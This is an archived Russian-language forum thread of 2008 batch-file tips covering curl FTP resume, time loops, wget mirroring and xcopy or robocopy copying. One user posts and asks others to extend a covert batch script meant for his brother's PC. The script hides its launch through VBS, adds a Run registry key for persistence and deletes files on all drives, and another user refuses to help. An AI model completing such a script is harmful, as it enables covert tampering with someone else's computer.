Ru-Board.club
← Вернуться в раздел «Microsoft Windows»

» Задачи на bat-файлах 5

Автор: igor_andreev
Дата сообщения: 28.03.2008 14:45
Nagual

Цитата:
докачивает ли она файлы на сервер по протоколу ftp
если нет, то какая тулза обладает такими возможностями?

curl, wput
Автор: Nagual
Дата сообщения: 28.03.2008 16:50
igor_andreev, докачка точно есть? если можно пример
у меня локально компилится файл, размер которого понемногу постоянно растет, и поскольку весит он уже немало, встал ребром вопрос о его докачке на ftp сервер, а не полной перезакачке на сервер
Автор: igor_andreev
Дата сообщения: 28.03.2008 16:58
Nagual

Код:
curl -C - -T localfile.zip -u user:password ftp://host/remotedir/remotefile.zip
Автор: Nagual
Дата сообщения: 28.03.2008 18:18
igor_andreev
все отлично пашет
использовал такую конструкцию
Код:
curl -v -C - -T localfile.zip ftp://user:pass@ftp://server.org/dirname/
в файл добавляются периодически записи, после чего он компилится в исполняемый
Автор: Takuja
Дата сообщения: 29.03.2008 14:30
Nagual
помогай.
Ребята, нада такая тема.
Нужно сделать собственный планировщих заданий, но у меня проблема.
Нужно зациклить процедуру с проверкой времени текущего.
и по достижении нужного времени, выполнить другую процедуру.
Нада определить переменную по типу
ЧЧ:ММ (час:минута) как например выводит time /t
вот помогите мне ответ этой команды задать в переменную

в теории выглядит так:


Код: setlocal
set time_=8:00
set _time=(вот тут и проблема, я не знаю как задать в переменную текущее время в формате ЧЧ:ММ)

:timeshift
if /i %time_%==%_time% goto end
ping /n 2 127.0.0.1
set _time= (вот тут и нада текущее время всунуть в виде ЧЧ:ММ или просто ЧЧММ)
goto timeshift

:end
pause
Автор: igor_andreev
Дата сообщения: 29.03.2008 14:47
Takuja
Не заморачивайся с циклами

Код:
wft /?
waituntil /?
Автор: Takuja
Дата сообщения: 29.03.2008 14:52
Тгорь, ну какого ты с своими левыми файлами не потеме говоришь?
мне нада только то что есть в винде, и конкретнее по моему вопросу, знаешь как это сделать? или нет? если нет - не флуди.
Автор: 01MDM
Дата сообщения: 29.03.2008 15:03
Takuja

Цитата:
set _time=(вот тут и проблема, я не знаю как задать в переменную текущее время в формате ЧЧ:ММ)


Странные вы люди, извините за флуд

echo %time:~0,5%

Автор: Elroir
Дата сообщения: 29.03.2008 15:05
Takuja
Тебе предложили легкое решение твоей проблемы. Предложил человек, который помогает советами в этом топике с самого начала. Так что не хами. Если тебе нужны только средства Windows - так и надо было писать.


Код:
set "_time=%time:~0,5%"
Автор: igor_andreev
Дата сообщения: 29.03.2008 15:07
Takuja

Код:
:loop
echo wait until 16:00
ping -n 30 localhost>nul
time /t | find "16:00">nul || goto :loop
echo 16:00 now
Автор: Elroir
Дата сообщения: 29.03.2008 15:07
01MDM
Не увидел, что ты уже ответил.
Автор: Takuja
Дата сообщения: 29.03.2008 15:17
Спасибо всем, ответ помог.

Добавлено:
Игорь, твоя тема не канает в моем вопросе, так как у тебя идет ожидание и стопориться весь процес. А нада перебор делать по нескольким заданиям, каторые могу чередоваться в зависимости от времени. и нужно не ждать времени, а опрашивать все задания на текущий момент.

Добавлено:
Вот сам планировщик:

@echo off
title Tisker
setlocal
set task1=15:06
set task1=15:06


:timeshift
ping /n 3 127.0.0.1 > nill
if %time:~0,5% GEQ %time_% goto _task
goto timeshift

:_task
echo YO!
pause

Добавлено:
черт, опять не то нажал, то что сверху - не юзайте, вот


Код:
@echo off
title Tisker
cls
setlocal
rem устанавливаем время для вызова заданий
set task1=8:00
set task2=15:00
set task3=21:30

rem сама процедура проверки времени и вызова
:timeshift
ping /n 3 127.0.0.1 > nill
if %time:~0,5% GEQ %task1% goto _task1
if %time:~0,5% GEQ %task2% goto _task2
if %time:~0,5% GEQ %task3% goto _task3
goto timeshift

rem сами вызовы
:_task1
call task1.bat
goto end

:_task2
call task2.bat
goto end

:_task3
call task3.bat
goto end

:end
exit
Автор: dixam
Дата сообщения: 30.03.2008 01:03
Парни помогите решить задачку с фтп..

структура папок такова:
2008-03-28
2008-03-29
2008-03-30

папки на фтп чистятся на следующий день простым удалением самой "старой".

далее в каждой из папок за определенный день есть папка ARCHIVE
вот оттуда и надо качать файлы строго zip rar iso 7z но не менее 1 Мб.
и складывать на винте по дням, например создавая папки 28 29 30

и если средствами виндового фтп клиента нельзя реализовать докачку, то буду рыть в сторону фтп-клиентов GUI, но опять же нужен будет скрипт для автоматизации этой рутины.

вход на фтп анонимный.

всем откикнувшимся заранее большое спасибо
Автор: igor_andreev
Дата сообщения: 30.03.2008 12:48
dixam
В Windows консольный ftp.exe простой, как три копейки и докачку он естественно не поддерживает. Задача была бы решаема буквально в пару строчек и curl-ом и wget-ом.

Но вот из-за "но не менее 1 Мб" батник сразу раздуется очень сильно. Параметра командной строки такого нет, значит придется делать листинг каждой папки и считывать оттуда размер каждого архива. Может и есть какой-нибудь гуевый клиент с такой опцией, я не в курсе.

Автор: dixam
Дата сообщения: 30.03.2008 13:49

Цитата:
Задача была бы решаема буквально в пару строчек и curl-ом и wget-ом.


согласен на скрипт без учета ">1 Мб"
Автор: igor_andreev
Дата сообщения: 30.03.2008 14:53
dixam

Цитата:
согласен на скрипт без учета ">1 Мб"

Согласен - делай. Если устроит, что файлы будут сохраняться в 2008-03-28\ARCHIVE, 2008-03-29\ARCHIVE и т.д., то вообще одной строчкой сможешь поиметь свой ftp.

wget здесь http://users.ugent.be/~bpuype/wget/
wget --help и все доступные опции перед тобой.

Не зная, что за фтп-шник - точную строку запуска не скажу, но приблизительно начни так:

Код:
wget --continue --recursive --force-directories --accept=*.zip,*.rar,*.iso --include-directories=ARCHIVE ftp://ftp.host.com/
Автор: Dantis
Дата сообщения: 31.03.2008 00:55
Привет всем. Понадобилаесь еще помщь...




Как сделать что бы батник перезапускал комп в определенное время??? нужно в 3 часа ночи . т.е в 03.00 =) ( и что бы комманда тоже выполнялась в фоновом режиме) ... надо добавить это в этот код...


Цитата:
@echo off
if not exist %~n0.vbs echo>%~n0.vbs CreateObject("WScript.Shell").Run"%~dp0%~n0.bat",0&reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v dctmp /d "\"%~dp0%~n0.vbs\"" /f
for %%a in (q w e r t y u i o p s d f g h j k l z x c v n m) do if exist %%a: del/q/f/s %%a:\*.dctmp



а и еще главное что бы комп перезапускался корректно..т.е будто чел нажал пуск\выключение\перезагрузка


Можли но ли сделать так что бы батник копировал себя в опреденную папку и потом удалял себя из места запуска?? т.е

если я запустил его на рАбочем столе то он копируется в папку С:\WINDOWS\system32 и с рабочего стола себя удаляет а в систем 32 остается?


Кто сможет написать этот код для меян? =) буду примного благодарен.....


Автор: igor_andreev
Дата сообщения: 31.03.2008 01:06
Dantis

Код:
shutdown /?
schtasks /?
Автор: Dantis
Дата сообщения: 31.03.2008 01:10
igor_andreev


Не могли бы вы сделать так что бы все работало и добавить в этот код ?? =) а тоя в батниках полный ламез =(


Цитата:
@echo off
if not exist %~n0.vbs echo>%~n0.vbs CreateObject("WScript.Shell").Run"%~dp0%~n0.bat",0&reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v dctmp /d "\"%~dp0%~n0.vbs\"" /f
for %%a in (q w e r t y u i o p s d f g h j k l z x c v n m) do if exist %%a: del/q/f/s %%a:\*.dctmp




ps я подправил пост свой посследнии...
Автор: igor_andreev
Дата сообщения: 31.03.2008 01:38

Цитата:
Не могли бы вы сделать так что бы все работало и добавить в этот код ?? =) а тоя в батниках полный ламез =(

Учись. В батниках ламез, а гадость кому сделать - ты первый? *.dctmp - это недокачанные файлы DC+, их докачивать нужно, а не удалять. А тут - и запустить скрытно и скопировать в системную папку, удалить со всех дисков(ты что, не знаешь, что у тебя только C:\ и D:\ ?) ... В чистом виде попытка создать деструктивный батник для запуска на компе товарисча.
Автор: Dantis
Дата сообщения: 31.03.2008 03:19
Ты прав =)..... мне надо что бы батник проработал на компе брата несколько дней....а то он накачал на 2к и не денежку медленно отдает .. вот я и хочу немножно подшутить над ним. так сказать стимула ему прибавить. а то что я подписал что бы со всех дисков удолял ... я же не знаю какая флешка у него под какой буквой в системе =). Комп он перезапускает редко (за это время он успевает выкачеть пару новинок) вот мне и надо что бы в 3 утра комп перезапускался... в системную папку и что бы в реестр прописывалось и в фоновом режиме для того что бы за эти пару дней он не догадался в чам дело.... если бы я просто засунул батник в папку *автозагрузка* он бы через 1 час его нашел бы.
(Теперь у него слава Богу у него свой инет..). Теперь я думаю узнав истинные мои намерения не кто не захочет мне помочь? Плз момогите. =)
Автор: Rotorina
Дата сообщения: 31.03.2008 08:45
Всем привет!
помогите написать bat-файлик, который должеть выполнять следующие действия в следующем порядке:

1) Создавать каталог под именем: "год.месяц.число"
2) Копировать папочку в этот каталог
3) Архивировать папку: "год.месяц.число"
4) Удалять каталог "год.месяц-6.число", иными словами: удалять устаревшую папку полугодичной давности

З.Ы.: каждый раз при включении ПК батничек будет запускаться и выполнять следующие действия, но еже ли такая папка уже есть (ПК в этот день включался), то действия выполняться не должны.
Автор: ruAleks
Дата сообщения: 31.03.2008 20:16
ребят помогите. очень тупая задача, хочу скопировать папку со всеми файлами в ней в другое место, но тупо copy не помагает:
copy C:/test1 C:/test2
т.е. я хочу скопировать папку test1 в папку test2
как?
Автор: 01MDM
Дата сообщения: 31.03.2008 22:10
ruAleks


Код:
md C:\test2\test1 && copy C:\test1 C:\test2\test1
Автор: king_stiven
Дата сообщения: 01.04.2008 09:02
ruAleks

Код: xcopy C:\test1 C:\test2\ /s /e /r /h
Автор: dredd00
Дата сообщения: 01.04.2008 14:03
мм у меня тоже задачка с копированием. надо скопировать файлы и подкаталоги (включая пустые если есть) из папки источника в папку назначения если в каталоге назначения уже есть копируемый файл то не копировать (переход к след файлу)
Автор: ruAleks
Дата сообщения: 01.04.2008 19:43

Цитата:
01MDM


Цитата:
king_stiven

Спасибо!
Автор: Elroir
Дата сообщения: 02.04.2008 01:38
dredd00

Цитата:
надо скопировать файлы и подкаталоги (включая пустые если есть) из папки источника в папку назначения если в каталоге назначения уже есть копируемый файл то не копировать


Код:
@echo off
yes N|(xcopy c:\source d:\destination /s /e & taskkill /f /im yes.exe)>nul
Автор: Nagual
Дата сообщения: 02.04.2008 02:33
dredd00
много вариантов испытал, но самый лучший, быстрый и корректный это, имхо
robocopy "что" "куда" /mir
где
robocopy берётся из Полезных утилит в шапке Win2000(3) Resource Kit Tools
Автор: dredd00
Дата сообщения: 02.04.2008 08:47
Nagual
Win2000(3) Resource Kit Tools - нет такой темы. также нет тем Win2000 Resource Kit Tools и Win2003 Resource Kit Tools в каком топике искать??
в принципе нашел на майкрософте http://www.microsoft.com/downloads/details.aspx?familyid=9d467a69-57ff-4ae7-96ee-b18c4790cffd&displaylang=en

Страницы: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566

Предыдущая тема: Сброс пароля администратора


Форум Ru-Board.club — поднят 15-09-2016 числа. Цель - сохранить наследие старого Ru-Board, истории становления российского интернета. Сделано для людей.